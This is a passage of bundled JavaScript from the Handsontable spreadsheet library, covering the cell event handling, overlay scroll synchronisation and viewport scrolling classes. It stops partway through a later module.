coordsOfCellUnderFinger = cellUnderFinger.coords; if (priv.selectedCellBeforeTouchEnd && coordsOfCellUnderFinger) { var _ref = [coordsOfCellUnderFinger.row, priv.selectedCellBeforeTouchEnd.from.row], rowTouched = _ref[0], rowSelected = _ref[1]; var _ref2 = [coordsOfCellUnderFinger.col, priv.selectedCellBeforeTouchEnd.from.col], colTouched = _ref2[0], colSelected = _ref2[1]; return rowTouched === rowSelected && colTouched === colSelected; } return false; } /** * Gets closest TD or TH element. * * @private * @param {Element} elem * @returns {Object} Contains coordinates and reference to TD or TH if it exists. Otherwise it's empty object. */ }, { key: "parentCell", value: function parentCell(elem) { var cell = {}; var TABLE = this.instance.wtTable.TABLE; var TD = (0, _element.closestDown)(elem, ['TD', 'TH'], TABLE); if (TD) { cell.coords = this.instance.wtTable.getCoords(TD); cell.TD = TD; } else if ((0, _element.hasClass)(elem, 'wtBorder') && (0, _element.hasClass)(elem, 'current')) { cell.coords = this.instance.selections.getCell().cellRange.highlight; cell.TD = this.instance.wtTable.getCell(cell.coords); } else if ((0, _element.hasClass)(elem, 'wtBorder') && (0, _element.hasClass)(elem, 'area')) { if (this.instance.selections.createOrGetArea().cellRange) { cell.coords = this.instance.selections.createOrGetArea().cellRange.to; cell.TD = this.instance.wtTable.getCell(cell.coords); } } return cell; } /** * onMouseDown callback. * * @private * @param {MouseEvent} event */ }, { key: "onMouseDown", value: function onMouseDown(event) { var priv = privatePool.get(this); var activeElement = document.activeElement; var getParentNode = (0, _function.partial)(_element.getParent, event.realTarget); var realTarget = event.realTarget; // ignore focusable element from mouse down processing (https://github.com/handsontable/handsontable/issues/3555) if (realTarget === activeElement || getParentNode(0) === activeElement || getParentNode(1) === activeElement) { return; } var cell = this.parentCell(realTarget); if ((0, _element.hasClass)(realTarget, 'corner')) { this.instance.getSetting('onCellCornerMouseDown', event, realTarget); } else if (cell.TD && this.instance.hasSetting('onCellMouseDown')) { this.instance.getSetting('onCellMouseDown', event, cell.coords, cell.TD, this.instance); } if (event.button !== 2 && cell.TD) { // if not right mouse button priv.dblClickOrigin[0] = cell.TD; clearTimeout(priv.dblClickTimeout[0]); priv.dblClickTimeout[0] = setTimeout(function () { priv.dblClickOrigin[0] = null; }, 1000); } } /** * onContextMenu callback. * * @private * @param {MouseEvent} event */ }, { key: "onContextMenu", value: function onContextMenu(event) { if (this.instance.hasSetting('onCellContextMenu')) { var cell = this.parentCell(event.realTarget); if (cell.TD) { this.instance.getSetting('onCellContextMenu', event, cell.coords, cell.TD, this.instance); } } } /** * onMouseOver callback. * * @private * @param {MouseEvent} event */ }, { key: "onMouseOver", value: function onMouseOver(event) { if (!this.instance.hasSetting('onCellMouseOver')) { return; } var table = this.instance.wtTable.TABLE; var td = (0, _element.closestDown)(event.realTarget, ['TD', 'TH'], table); var mainWOT = this.instance.cloneSource || this.instance; if (td && td !== mainWOT.lastMouseOver && (0, _element.isChildOf)(td, table)) { mainWOT.lastMouseOver = td; this.instance.getSetting('onCellMouseOver', event, this.instance.wtTable.getCoords(td), td, this.instance); } } /** * onMouseOut callback. * * @private * @param {MouseEvent} event */ }, { key: "onMouseOut", value: function onMouseOut(event) { if (!this.instance.hasSetting('onCellMouseOut')) { return; } var table = this.instance.wtTable.TABLE; var lastTD = (0, _element.closestDown)(event.realTarget, ['TD', 'TH'], table); var nextTD = (0, _element.closestDown)(event.relatedTarget, ['TD', 'TH'], table); if (lastTD && lastTD !== nextTD && (0, _element.isChildOf)(lastTD, table)) { this.instance.getSetting('onCellMouseOut', event, this.instance.wtTable.getCoords(lastTD), lastTD, this.instance); } } /** * onMouseUp callback. * * @private * @param {MouseEvent} event */ }, { key: "onMouseUp", value: function onMouseUp(event) { if (event.button === 2) { return; } // if not right mouse button var priv = privatePool.get(this); var cell = this.parentCell(event.realTarget); if (cell.TD && this.instance.hasSetting('onCellMouseUp')) { this.instance.getSetting('onCellMouseUp', event, cell.coords, cell.TD, this.instance); } if (cell.TD === priv.dblClickOrigin[0] && cell.TD === priv.dblClickOrigin[1]) { if ((0, _element.hasClass)(event.realTarget, 'corner')) { this.instance.getSetting('onCellCornerDblClick', event, cell.coords, cell.TD, this.instance); } else { this.instance.getSetting('onCellDblClick', event, cell.coords, cell.TD, this.instance); } priv.dblClickOrigin[0] = null; priv.dblClickOrigin[1] = null; } else if (cell.TD === priv.dblClickOrigin[0]) { priv.dblClickOrigin[1] = cell.TD; clearTimeout(priv.dblClickTimeout[1]); priv.dblClickTimeout[1] = setTimeout(function () { priv.dblClickOrigin[1] = null; }, 500); } } /** * onTouchStart callback. Simulates mousedown event. * * @private * @param {MouseEvent} event */ }, { key: "onTouchStart", value: function onTouchStart(event) { var priv = privatePool.get(this); priv.selectedCellBeforeTouchEnd = this.instance.selections.getCell().cellRange; this.instance.touchApplied = true; this.onMouseDown(event); } /** * onTouchEnd callback. Simulates mouseup event. * * @private * @param {MouseEvent} event */ }, { key: "onTouchEnd", value: function onTouchEnd(event) { var excludeTags = ['A', 'BUTTON', 'INPUT']; var target = event.target; this.instance.touchApplied = false; // When the standard event was performed on the link element (a cell which contains HTML `a` element) then here // we check if it should be canceled. Click is blocked in a situation when the element is rendered outside // selected cells. This prevents accidentally page reloads while selecting adjacent cells. if (this.selectedCellWasTouched(target) === false && excludeTags.includes(target.tagName)) { event.preventDefault(); } this.onMouseUp(event); } /** * Clears double-click timeouts and destroys the internal eventManager instance. */ }, { key: "destroy", value: function destroy() { var priv = privatePool.get(this); clearTimeout(priv.dblClickTimeout[0]); clearTimeout(priv.dblClickTimeout[1]); this.eventManager.destroy(); } }]); return Event; }(); var _default = Event; exports.default = _default; /***/ }), /* 287 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _element = __webpack_require__(1); var _array = __webpack_require__(3); var _unicode = __webpack_require__(32); var _browser = __webpack_require__(42); var _eventManager = _interopRequireDefault(__webpack_require__(10)); var _base = _interopRequireDefault(__webpack_require__(43)); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } /** * @class Overlays */ var Overlays = /*#__PURE__*/ function () { /** * @param {Walkontable} wotInstance */ function Overlays(wotInstance) { _classCallCheck(this, Overlays); /** * Sometimes `line-height` might be set to 'normal'. In that case, a default `font-size` should be multiplied by roughly 1.2. * https://developer.mozilla.org/pl/docs/Web/CSS/line-height#Values */ var BODY_LINE_HEIGHT = parseInt(getComputedStyle(document.body).lineHeight, 10); var FALLBACK_BODY_LINE_HEIGHT = parseInt(getComputedStyle(document.body).fontSize, 10) * 1.2; this.wot = wotInstance; // legacy support this.instance = this.wot; this.eventManager = new _eventManager.default(this.wot); this.wot.update('scrollbarWidth', (0, _element.getScrollbarWidth)()); this.wot.update('scrollbarHeight', (0, _element.getScrollbarWidth)()); this.scrollableElement = (0, _element.getScrollableElement)(this.wot.wtTable.TABLE); this.prepareOverlays(); this.destroyed = false; this.keyPressed = false; this.spreaderLastSize = { width: null, height: null }; this.overlayScrollPositions = { master: { top: 0, left: 0 }, top: { top: null, left: 0 }, bottom: { top: null, left: 0 }, left: { top: 0, left: null } }; this.pendingScrollCallbacks = { master: { top: 0, left: 0 }, top: { left: 0 }, bottom: { left: 0 }, left: { top: 0 } }; this.verticalScrolling = false; this.horizontalScrolling = false; this.delegatedScrollCallback = false; this.registeredListeners = []; this.browserLineHeight = BODY_LINE_HEIGHT || FALLBACK_BODY_LINE_HEIGHT; this.registerListeners(); } /** * Prepare overlays based on user settings. * * @returns {Boolean} Returns `true` if changes applied to overlay needs scroll synchronization. */ _createClass(Overlays, [{ key: "prepareOverlays", value: function prepareOverlays() { var syncScroll = false; if (this.topOverlay) { syncScroll = this.topOverlay.updateStateOfRendering() || syncScroll; } else { this.topOverlay = _base.default.createOverlay(_base.default.CLONE_TOP, this.wot); } if (!_base.default.hasOverlay(_base.default.CLONE_BOTTOM)) { this.bottomOverlay = { needFullRender: false, updateStateOfRendering: function updateStateOfRendering() { return false; } }; } if (!_base.default.hasOverlay(_base.default.CLONE_BOTTOM_LEFT_CORNER)) { this.bottomLeftCornerOverlay = { needFullRender: false, updateStateOfRendering: function updateStateOfRendering() { return false; } }; } if (this.bottomOverlay) { syncScroll = this.bottomOverlay.updateStateOfRendering() || syncScroll; } else { this.bottomOverlay = _base.default.createOverlay(_base.default.CLONE_BOTTOM, this.wot); } if (this.leftOverlay) { syncScroll = this.leftOverlay.updateStateOfRendering() || syncScroll; } else { this.leftOverlay = _base.default.createOverlay(_base.default.CLONE_LEFT, this.wot); } if (this.topOverlay.needFullRender && this.leftOverlay.needFullRender) { if (this.topLeftCornerOverlay) { syncScroll = this.topLeftCornerOverlay.updateStateOfRendering() || syncScroll; } else { this.topLeftCornerOverlay = _base.default.createOverlay(_base.default.CLONE_TOP_LEFT_CORNER, this.wot); } } if (this.bottomOverlay.needFullRender && this.leftOverlay.needFullRender) { if (this.bottomLeftCornerOverlay) { syncScroll = this.bottomLeftCornerOverlay.updateStateOfRendering() || syncScroll; } else { this.bottomLeftCornerOverlay = _base.default.createOverlay(_base.default.CLONE_BOTTOM_LEFT_CORNER, this.wot); } } if (this.wot.getSetting('debug') && !this.debug) { this.debug = _base.default.createOverlay(_base.default.CLONE_DEBUG, this.wot); } return syncScroll; } /** * Refresh and redraw table */ }, { key: "refreshAll", value: function refreshAll() { if (!this.wot.drawn) { return; } if (!this.wot.wtTable.holder.parentNode) { // Walkontable was detached from DOM, but this handler was not removed this.destroy(); return; } this.wot.draw(true); if (this.verticalScrolling) { this.leftOverlay.onScroll(); } if (this.horizontalScrolling) { this.topOverlay.onScroll(); } this.verticalScrolling = false; this.horizontalScrolling = false; } /** * Register all necessary event listeners. */ }, { key: "registerListeners", value: function registerListeners() { var _this = this; var topOverlayScrollable = this.topOverlay.mainTableScrollableElement; var leftOverlayScrollable = this.leftOverlay.mainTableScrollableElement; var listenersToRegister = []; listenersToRegister.push([document.documentElement, 'keydown', function (event) { return _this.onKeyDown(event); }]); listenersToRegister.push([document.documentElement, 'keyup', function () { return _this.onKeyUp(); }]); listenersToRegister.push([document, 'visibilitychange', function () { return _this.onKeyUp(); }]); listenersToRegister.push([topOverlayScrollable, 'scroll', function (event) { return _this.onTableScroll(event); }]); if (topOverlayScrollable !== leftOverlayScrollable) { listenersToRegister.push([leftOverlayScrollable, 'scroll', function (event) { return _this.onTableScroll(event); }]); } var isHighPixelRatio = window.devicePixelRatio && window.devicePixelRatio > 1; if (isHighPixelRatio || !(0, _browser.isChrome)()) { listenersToRegister.push([this.instance.wtTable.wtRootElement.parentNode, 'wheel', function (event) { return _this.onCloneWheel(event); }]); } else { if (this.topOverlay.needFullRender) { listenersToRegister.push([this.topOverlay.clone.wtTable.holder, 'wheel', function (event) { return _this.onCloneWheel(event); }]); } if (this.bottomOverlay.needFullRender) { listenersToRegister.push([this.bottomOverlay.clone.wtTable.holder, 'wheel', function (event) { return _this.onCloneWheel(event); }]); } if (this.leftOverlay.needFullRender) { listenersToRegister.push([this.leftOverlay.clone.wtTable.holder, 'wheel', function (event) { return _this.onCloneWheel(event); }]); } if (this.topLeftCornerOverlay && this.topLeftCornerOverlay.needFullRender) { listenersToRegister.push([this.topLeftCornerOverlay.clone.wtTable.holder, 'wheel', function (event) { return _this.onCloneWheel(event); }]); } if (this.bottomLeftCornerOverlay && this.bottomLeftCornerOverlay.needFullRender) { listenersToRegister.push([this.bottomLeftCornerOverlay.clone.wtTable.holder, 'wheel', function (event) { return _this.onCloneWheel(event); }]); } } if (this.topOverlay.trimmingContainer !== window && this.leftOverlay.trimmingContainer !== window) { // This is necessary? // eventManager.addEventListener(window, 'scroll', (event) => this.refreshAll(event)); listenersToRegister.push([window, 'wheel', function (event) { var overlay; var deltaY = event.wheelDeltaY || event.deltaY; var deltaX = event.wheelDeltaX || event.deltaX; if (_this.topOverlay.clone.wtTable.holder.contains(event.realTarget)) { overlay = 'top'; } else if (_this.bottomOverlay.clone && _this.bottomOverlay.clone.wtTable.holder.contains(event.realTarget)) { overlay = 'bottom'; } else if (_this.leftOverlay.clone.wtTable.holder.contains(event.realTarget)) { overlay = 'left'; } else if (_this.topLeftCornerOverlay && _this.topLeftCornerOverlay.clone && _this.topLeftCornerOverlay.clone.wtTable.holder.contains(event.realTarget)) { overlay = 'topLeft'; } else if (_this.bottomLeftCornerOverlay && _this.bottomLeftCornerOverlay.clone && _this.bottomLeftCornerOverlay.clone.wtTable.holder.contains(event.realTarget)) { overlay = 'bottomLeft'; } if (overlay === 'top' && deltaY !== 0 || overlay === 'left' && deltaX !== 0 || overlay === 'bottom' && deltaY !== 0 || (overlay === 'topLeft' || overlay === 'bottomLeft') && (deltaY !== 0 || deltaX !== 0)) { event.preventDefault(); } }]); } while (listenersToRegister.length) { var listener = listenersToRegister.pop(); this.eventManager.addEventListener(listener[0], listener[1], listener[2]); this.registeredListeners.push(listener); } } /** * Deregister all previously registered listeners. */ }, { key: "deregisterListeners", value: function deregisterListeners() { while (this.registeredListeners.length) { var listener = this.registeredListeners.pop(); this.eventManager.removeEventListener(listener[0], listener[1], listener[2]); } } /** * Scroll listener * * @param {Event} event */ }, { key: "onTableScroll", value: function onTableScroll(event) { // There was if statement which controlled flow of this function. It avoided the execution of the next lines // on mobile devices. It was changed. Broader description of this case is included within issue #4856. var masterHorizontal = this.leftOverlay.mainTableScrollableElement; var masterVertical = this.topOverlay.mainTableScrollableElement; var target = event.target; // For key press, sync only master -> overlay position because while pressing Walkontable.render is triggered // by hot.refreshBorder if (this.keyPressed) { if (masterVertical !== window && target !== window && !event.target.contains(masterVertical) || masterHorizontal !== window && target !== window && !event.target.contains(masterHorizontal)) { return; } } this.syncScrollPositions(event); } /** * Wheel listener for cloned overlays. * * @param {Event} event */ }, { key: "onCloneWheel", value: function onCloneWheel(event) { if (this.scrollableElement !== window) { event.preventDefault(); } // There was if statement which controlled flow of this function. It avoided the execution of the next lines // on mobile devices. It was changed. Broader description of this case is included within issue #4856. var masterHorizontal = this.leftOverlay.mainTableScrollableElement; var masterVertical = this.topOverlay.mainTableScrollableElement; var target = event.target; // For key press, sync only master -> overlay position because while pressing Walkontable.render is triggered // by hot.refreshBorder var shouldNotWheelVertically = masterVertical !== window && target !== window && !event.target.contains(masterVertical); var shouldNotWheelHorizontally = masterHorizontal !== window && target !== window && !event.target.contains(masterHorizontal); if (this.keyPressed && (shouldNotWheelVertically || shouldNotWheelHorizontally)) { return; } this.translateMouseWheelToScroll(event); } /** * Key down listener */ }, { key: "onKeyDown", value: function onKeyDown(event) { this.keyPressed = (0, _unicode.isKey)(event.keyCode, 'ARROW_UP|ARROW_RIGHT|ARROW_DOWN|ARROW_LEFT'); } /** * Key up listener */ }, { key: "onKeyUp", value: function onKeyUp() { this.keyPressed = false; } /** * Translate wheel event into scroll event and sync scroll overlays position * * @private * @param {Event} event * @returns {Boolean} */ }, { key: "translateMouseWheelToScroll", value: function translateMouseWheelToScroll(event) { var deltaY = isNaN(event.deltaY) ? -1 * event.wheelDeltaY : event.deltaY; var deltaX = isNaN(event.deltaX) ? -1 * event.wheelDeltaX : event.deltaX; if (event.deltaMode === 1) { deltaX += deltaX * this.browserLineHeight; deltaY += deltaY * this.browserLineHeight; } this.scrollVertically(deltaY); this.scrollHorizontally(deltaX); return false; } }, { key: "scrollVertically", value: function scrollVertically(distance) { if (distance === 0) { return 0; } this.scrollableElement.scrollTop += distance; } }, { key: "scrollHorizontally", value: function scrollHorizontally(distance) { if (distance === 0) { return 0; } this.scrollableElement.scrollLeft += distance; } /** * Synchronize scroll position between master table and overlay table. * * @private * @param {Event|Object} event */ }, { key: "syncScrollPositions", value: function syncScrollPositions() { if (this.destroyed) { return; } var topHolder = this.topOverlay.clone.wtTable.holder; var leftHolder = this.leftOverlay.clone.wtTable.holder; var _ref = [this.scrollableElement.scrollLeft, this.scrollableElement.scrollTop], scrollLeft = _ref[0], scrollTop = _ref[1]; this.horizontalScrolling = topHolder.scrollLeft !== scrollLeft; this.verticalScrolling = leftHolder.scrollTop !== scrollTop; if (this.horizontalScrolling) { topHolder.scrollLeft = scrollLeft; var bottomHolder = this.bottomOverlay.needFullRender ? this.bottomOverlay.clone.wtTable.holder : null; if (bottomHolder) { bottomHolder.scrollLeft = scrollLeft; } } if (this.verticalScrolling) { leftHolder.scrollTop = scrollTop; } this.refreshAll(); } /** * Synchronize overlay scrollbars with the master scrollbar */ }, { key: "syncScrollWithMaster", value: function syncScrollWithMaster() { var master = this.topOverlay.mainTableScrollableElement; var scrollLeft = master.scrollLeft, scrollTop = master.scrollTop; if (this.topOverlay.needFullRender) { this.topOverlay.clone.wtTable.holder.scrollLeft = scrollLeft; } if (this.bottomOverlay.needFullRender) { this.bottomOverlay.clone.wtTable.holder.scrollLeft = scrollLeft; } if (this.leftOverlay.needFullRender) { this.leftOverlay.clone.wtTable.holder.scrollTop = scrollTop; } } /** * Update the main scrollable elements for all the overlays. */ }, { key: "updateMainScrollableElements", value: function updateMainScrollableElements() { this.deregisterListeners(); this.leftOverlay.updateMainScrollableElement(); this.topOverlay.updateMainScrollableElement(); if (this.bottomOverlay.needFullRender) { this.bottomOverlay.updateMainScrollableElement(); } this.scrollableElement = (0, _element.getScrollableElement)(this.wot.wtTable.TABLE); this.registerListeners(); } /** * */ }, { key: "destroy", value: function destroy() { this.eventManager.destroy(); this.topOverlay.destroy(); if (this.bottomOverlay.clone) { this.bottomOverlay.destroy(); } this.leftOverlay.destroy(); if (this.topLeftCornerOverlay) { this.topLeftCornerOverlay.destroy(); } if (this.bottomLeftCornerOverlay && this.bottomLeftCornerOverlay.clone) { this.bottomLeftCornerOverlay.destroy(); } if (this.debug) { this.debug.destroy(); } this.destroyed = true; } /** * @param {Boolean} [fastDraw=false] */ }, { key: "refresh", value: function refresh() { var fastDraw = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false; if (this.topOverlay.areElementSizesAdjusted && this.leftOverlay.areElementSizesAdjusted) { var container = this.wot.wtTable.wtRootElement.parentNode || this.wot.wtTable.wtRootElement; var width = container.clientWidth; var height = container.clientHeight; if (width !== this.spreaderLastSize.width || height !== this.spreaderLastSize.height) { this.spreaderLastSize.width = width; this.spreaderLastSize.height = height; this.adjustElementsSize(); } } if (this.bottomOverlay.clone) { this.bottomOverlay.refresh(fastDraw); } this.leftOverlay.refresh(fastDraw); this.topOverlay.refresh(fastDraw); if (this.topLeftCornerOverlay) { this.topLeftCornerOverlay.refresh(fastDraw); } if (this.bottomLeftCornerOverlay && this.bottomLeftCornerOverlay.clone) { this.bottomLeftCornerOverlay.refresh(fastDraw); } if (this.debug) { this.debug.refresh(fastDraw); } } /** * Adjust overlays elements size and master table size * * @param {Boolean} [force=false] */ }, { key: "adjustElementsSize", value: function adjustElementsSize() { var force = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false; var totalColumns = this.wot.getSetting('totalColumns'); var totalRows = this.wot.getSetting('totalRows'); var headerRowSize = this.wot.wtViewport.getRowHeaderWidth(); var headerColumnSize = this.wot.wtViewport.getColumnHeaderHeight(); var hiderStyle = this.wot.wtTable.hider.style; hiderStyle.width = "".concat(headerRowSize + this.leftOverlay.sumCellSizes(0, totalColumns), "px"); hiderStyle.height = "".concat(headerColumnSize + this.topOverlay.sumCellSizes(0, totalRows) + 1, "px"); this.topOverlay.adjustElementsSize(force); this.leftOverlay.adjustElementsSize(force); if (this.bottomOverlay.clone) { this.bottomOverlay.adjustElementsSize(force); } } /** * */ }, { key: "applyToDOM", value: function applyToDOM() { if (!this.topOverlay.areElementSizesAdjusted || !this.leftOverlay.areElementSizesAdjusted) { this.adjustElementsSize(); } this.topOverlay.applyToDOM(); if (this.bottomOverlay.clone) { this.bottomOverlay.applyToDOM(); } this.leftOverlay.applyToDOM(); } /** * Get the parent overlay of the provided element. * * @param {HTMLElement} element * @returns {Object|null} */ }, { key: "getParentOverlay", value: function getParentOverlay(element) { if (!element) { return null; } var overlays = [this.topOverlay, this.leftOverlay, this.bottomOverlay, this.topLeftCornerOverlay, this.bottomLeftCornerOverlay]; var result = null; (0, _array.arrayEach)(overlays, function (elem) { if (!elem) { return; } if (elem.clone && elem.clone.wtTable.TABLE.contains(element)) { result = elem.clone; } }); return result; } }]); return Overlays; }(); var _default = Overlays; exports.default = _default; /***/ }), /* 288 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _element = __webpack_require__(1); var _number = __webpack_require__(9); function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } /** * @class Scroll */ var Scroll = /*#__PURE__*/ function () { /** * @param {Walkontable} wotInstance */ function Scroll(wotInstance) { _classCallCheck(this, Scroll); this.wot = wotInstance; // legacy support this.instance = wotInstance; } /** * Scrolls viewport to a cell. * * @param {CellCoords} coords * @param {Boolean} [snapToTop] * @param {Boolean} [snapToRight] * @param {Boolean} [snapToBottom] * @param {Boolean} [snapToLeft] * @returns {Boolean} */ _createClass(Scroll, [{ key: "scrollViewport", value: function scrollViewport(coords, snapToTop, snapToRight, snapToBottom, snapToLeft) { var scrolledHorizontally = this.scrollViewportHorizontally(coords.col, snapToRight, snapToLeft); var scrolledVertically = this.scrollViewportVertically(coords.row, snapToTop, snapToBottom); return scrolledHorizontally || scrolledVertically; } /** * Scrolls viewport to a column. * * @param {Number} column Visual column index. * @param {Boolean} [snapToRight] * @param {Boolean} [snapToLeft] * @returns {Boolean} */ }, { key: "scrollViewportHorizontally", value: function scrollViewportHorizontally(column, snapToRight, snapToLeft) { if (!this.wot.drawn) { return false; } var _this$_getVariables = this._getVariables(), fixedColumnsLeft = _this$_getVariables.fixedColumnsLeft, leftOverlay = _this$_getVariables.leftOverlay, totalColumns = _this$_getVariables.totalColumns; var result = false; if (column >= 0 && column <= Math.max(totalColumns - 1, 0)) { if (column >= fixedColumnsLeft && (column < this.getFirstVisibleColumn() || snapToLeft)) { result = leftOverlay.scrollTo(column); } else if (column > this.getLastVisibleColumn() || snapToRight) { result = leftOverlay.scrollTo(column, true); } } return result; } /** * Scrolls viewport to a row. * * @param {Number} row Visual row index. * @param {Boolean} [snapToTop] * @param {Boolean} [snapToBottom] * @returns {Boolean} */ }, { key: "scrollViewportVertically", value: function scrollViewportVertically(row, snapToTop, snapToBottom) { if (!this.wot.drawn) { return false; } var _this$_getVariables2 = this._getVariables(), fixedRowsBottom = _this$_getVariables2.fixedRowsBottom, fixedRowsTop = _this$_getVariables2.fixedRowsTop, topOverlay = _this$_getVariables2.topOverlay, totalRows = _this$_getVariables2.totalRows; var result = false; if (row >= 0 && row <= Math.max(totalRows - 1, 0)) { if (row >= fixedRowsTop && (row < this.getFirstVisibleRow() || snapToTop)) { result = topOverlay.scrollTo(row); } else if (row > this.getLastVisibleRow() && row < totalRows - fixedRowsBottom || snapToBottom) { result = topOverlay.scrollTo(row, true); } } return result; } /** * Get first visible row based on virtual dom and how table is visible in browser window viewport. * * @returns {Number} */ }, { key: "getFirstVisibleRow", value: function getFirstVisibleRow() { var _this$_getVariables3 = this._getVariables(), topOverlay = _this$_getVariables3.topOverlay, wtTable = _this$_getVariables3.wtTable, wtViewport = _this$_getVariables3.wtViewport, totalRows = _this$_getVariables3.totalRows, fixedRowsTop = _this$_getVariables3.fixedRowsTop; var firstVisibleRow = wtTable.getFirstVisibleRow(); if (topOverlay.mainTableScrollableElement === window) { var rootElementOffset = (0, _element.offset)(wtTable.wtRootElement); var totalTableHeight = (0, _element.innerHeight)(wtTable.hider); var windowHeight = (0, _element.innerHeight)(window); var windowScrollTop = (0, _element.getScrollTop)(window); // Only calculate firstVisibleRow when table didn't filled (from up) whole viewport space if (rootElementOffset.top + totalTableHeight - windowHeight <= windowScrollTop) { var rowsHeight = wtViewport.getColumnHeaderHeight(); rowsHeight += topOverlay.sumCellSizes(0, fixedRowsTop); (0, _number.rangeEachReverse)(totalRows, 1, function (row) { rowsHeight += topOverlay.sumCellSizes(row - 1, row); if (rootElementOffset.top + totalTableHeight - rowsHeight <= windowScrollTop) { // Return physical row + 1 firstVisibleRow = row; return false; } }); } } return firstVisibleRow; } /** * Get last visible row based on virtual dom and how table is visible in browser window viewport. * * @returns {Number} */ }, { key: "getLastVisibleRow", value: function getLastVisibleRow() { var _this$_getVariables4 = this._getVariables(), topOverlay = _this$_getVariables4.topOverlay, wtTable = _this$_getVariables4.wtTable, wtViewport = _this$_getVariables4.wtViewport, totalRows = _this$_getVariables4.totalRows; var lastVisibleRow = wtTable.getLastVisibleRow(); if (topOverlay.mainTableScrollableElement === window) { var rootElementOffset = (0, _element.offset)(wtTable.wtRootElement); var windowHeight = (0, _element.innerHeight)(window); var windowScrollTop = (0, _element.getScrollTop)(window); // Only calculate lastVisibleRow when table didn't filled (from bottom) whole viewport space if (rootElementOffset.top > windowScrollTop) { var rowsHeight = wtViewport.getColumnHeaderHeight(); (0, _number.rangeEach)(1, totalRows, function (row) { rowsHeight += topOverlay.sumCellSizes(row - 1, row); if (rootElementOffset.top + rowsHeight - windowScrollTop >= windowHeight) { // Return physical row - 1 (-2 because rangeEach gives row index + 1 - sumCellSizes requirements) lastVisibleRow = row - 2; return false; } }); } } return lastVisibleRow; } /** * Get first visible column based on virtual dom and how table is visible in browser window viewport. * * @returns {Number} */ }, { key: "getFirstVisibleColumn", value: function getFirstVisibleColumn() { var _this$_getVariables5 = this._getVariables(), leftOverlay = _this$_getVariables5.leftOverlay, wtTable = _this$_getVariables5.wtTable, wtViewport = _this$_getVariables5.wtViewport, totalColumns = _this$_getVariables5.totalColumns; var firstVisibleColumn = wtTable.getFirstVisibleColumn(); if (leftOverlay.mainTableScrollableElement === window) { var rootElementOffset = (0, _element.offset)(wtTable.wtRootElement); var totalTableWidth = (0, _element.innerWidth)(wtTable.hider); var windowWidth = (0, _element.innerWidth)(window); var windowScrollLeft = (0, _element.getScrollLeft)(window); // Only calculate firstVisibleColumn when table didn't filled (from left) whole viewport space if (rootElementOffset.left + totalTableWidth - windowWidth <= windowScrollLeft) { var columnsWidth = wtViewport.getRowHeaderWidth(); (0, _number.rangeEachReverse)(totalColumns, 1, function (column) { columnsWidth += leftOverlay.sumCellSizes(column - 1, column); if (rootElementOffset.left + totalTableWidth - columnsWidth <= windowScrollLeft) { // Return physical column + 1 firstVisibleColumn = column; return false; } }); } } return firstVisibleColumn; } /** * Get last visible column based on virtual dom and how table is visible in browser window viewport. * * @returns {Number} */ }, { key: "getLastVisibleColumn", value: function getLastVisibleColumn() { var _this$_getVariables6 = this._getVariables(), leftOverlay = _this$_getVariables6.leftOverlay, wtTable = _this$_getVariables6.wtTable, wtViewport = _this$_getVariables6.wtViewport, totalColumns = _this$_getVariables6.totalColumns; var lastVisibleColumn = wtTable.getLastVisibleColumn(); if (leftOverlay.mainTableScrollableElement === window) { var rootElementOffset = (0, _element.offset)(wtTable.wtRootElement); var windowWidth = (0, _element.innerWidth)(window); var windowScrollLeft = (0, _element.getScrollLeft)(window); // Only calculate lastVisibleColumn when table didn't filled (from right) whole viewport space if (rootElementOffset.left > windowScrollLeft) { var columnsWidth = wtViewport.getRowHeaderWidth(); (0, _number.rangeEach)(1, totalColumns, function (column) { columnsWidth += leftOverlay.sumCellSizes(column - 1, column); if (rootElementOffset.left + columnsWidth - windowScrollLeft >= windowWidth) { // Return physical column - 1 (-2 because rangeEach gives column index + 1 - sumCellSizes requirements) lastVisibleColumn = column - 2; return false; } }); } } return lastVisibleColumn; } /** * Returns collection of variables used to rows and columns visibility calculations. * * @returns {Object} * @private */ }, { key: "_getVariables", value: function _getVariables() { var wot = this.wot; var topOverlay = wot.wtOverlays.topOverlay; var leftOverlay = wot.wtOverlays.leftOverlay; var wtTable = wot.wtTable; var wtViewport = wot.wtViewport; var totalRows = wot.getSetting('totalRows'); var totalColumns = wot.getSetting('totalColumns'); var fixedRowsTop = wot.getSetting('fixedRowsTop'); var fixedRowsBottom = wot.getSetting('fixedRowsBottom'); var fixedColumnsLeft = wot.getSetting('fixedColumnsLeft'); return { topOverlay: topOverlay, leftOverlay: leftOverlay, wtTable: wtTable, wtViewport: wtViewport, totalRows: totalRows, totalColumns: totalColumns, fixedRowsTop: fixedRowsTop, fixedRowsBottom: fixedRowsBottom, fixedColumnsLeft: fixedColumnsLeft }; } }]); return Scroll; }(); var _default = Scroll; exports.default = _default; /***/ }), /* 289 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _element = __webpack_require__(1); var _object = __webpack_require__(2); function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, 